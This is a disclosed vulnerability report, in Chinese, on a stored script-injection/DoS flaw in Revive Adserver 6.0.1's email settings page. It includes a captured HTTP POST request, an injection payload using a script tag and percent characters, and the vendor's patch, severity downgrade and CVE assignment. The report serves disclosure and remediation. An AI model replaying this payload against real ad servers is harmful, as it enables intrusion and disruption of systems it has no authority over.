漏洞报告 #3399218 - 设置中的输入净化不当可能导致DoS
漏洞概述
我在 account-settings-email.php 中发现了一个输入净化/编码问题,攻击者可以控制并保存在 email_fromName 和 email_fromCompany 字段中的值会被持久化存储,随后在页面渲染时没有进行适当的输出编码。由于任意JavaScript代码可以被持久化并在访问者的浏览器中执行,攻击者可以运行脚本来破坏或替换页面界面——从而有效地使网站对受害者不可用(DOM层级的拒绝服务)。这是一个存储型/脚本注入漏洞,当向管理员或特权用户渲染时,具有很高的影响力。
安全的概念验证步骤
- 访问
http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php
- 在
email_fromName 和 email_fromCompany 字段中添加负载
- 这将禁用所有网站,导致您无法使用它
HTTP 请求详情
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
POST /test2/revive-adserver-6.0.1/www/admin/account-settings-email.php HTTP/1.1
Host: localhost
Content-Length: 1122
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAFTySI5FcKHdgQSw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php
Accept-Encoding: gzip, deflate, br
Cookie: sessionID=44958de8497392e940916ecd332da541; ox_install_session_id=ln1aq7d4aopg1511andp5oocji
Connection: keep-alive
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"
true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromAddress"
1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromName"
1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromCompany"
1@aa.com
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"
true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_logOutgoing"
true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"
true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_pluginType"
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="token"
62f4ed819fb1ccc904033105a8d567ad
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitsettings"
Save Changes
------WebKitFormBoundaryAFTySI5FcKHdgQSw--
|
影响
当持久化的值被渲染到用户查看的任何页面时,可以在应用程序源中执行任意脚本。
可能的攻击者行为包括:
- 替换页面内容或删除UI控件(使网站对受害者不可用)。
- 阻止与应用程序的交互(禁用按钮、隐藏表单)——实际上是对查看受感染页面的用户进行针对性拒绝服务。
- 针对用户进行网络钓鱼覆盖、强制操作或其他客户端攻击(只有在Cookie/会话未加固的情况下才可能发生数据窃取)。
如果管理员用户查看受影响的页面,影响会很大(站点中断;有可能在管理员上下文中执行特权操作)。
严重性:高——取决于哪些角色可以看到持久化的值以及现有的Cookie/会话保护措施。
互动与处理过程
- 2025年10月25日,07:09 UTC,Revive Adserver 团队成员 mbeccati 将状态更改为 “需要更多信息”,并询问是哪种负载导致了问题。
- 2025年10月25日,14:11 UTC,报告者 lu3ky-13 将状态改回 “新建”,并提供了使用的负载:
'"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>,并指出其他大部分区域也存在相同问题。
- 2025年10月25日,18:16 UTC,mbeccati 将状态更改为 “已分类”,表示很有趣并将进行调查。
- 2025年10月26日,10:54 UTC,mbeccati 提供了补丁文件
h1-3399218.patch (F4933997) 来修复该漏洞,并分析了问题根源:代码没有正确转义在Symfony参数中具有特殊含义的 % 字符。使用两个百分号之间的意外内容可能会导致应用程序崩溃。风险较低,因为只有管理员可以更改设置,并且他们已经有多种其他方式来破坏应用程序或访问/操作数据。此外,设置页面受到CSRF攻击的保护。
- 2025年10月26日,11:29 UTC,mbeccati 将严重性从 高 (7.3) 更新为 低 (2.7),理由是攻击者需要管理员权限,并且最多只能破坏管理界面。
- 2025年10月28日,11:04 UTC,mbeccati 将报告状态关闭并改为 “已解决”,说明计划在11月5日(周三)进行安全发布,修复多个漏洞,将申请CVE-ID并准备详细的安全公告,但由于部分漏洞的风险级别,将在披露前等待一段时间以便更多用户升级。
- 2025年10月31日,13:48 UTC,mbeccati 将报告标题从 “存储型JavaScript注入——email_fromName / email_fromCompany 中的持久化脚本可禁用站点” 更改为 “设置中的输入净化不当可能导致DoS”。
- 2025年10月31日,14:23 UTC,mbeccati 更新了CVE参考为 CVE-2025-52666。
报告总结
- 报告 ID: #3399218
- 状态: 已解决
- 严重性: 低 (2.7)
- 披露时间: 2025年11月19日,09:32 UTC
- 弱点类型: 业务逻辑错误
- CVE ID: CVE-2025-52666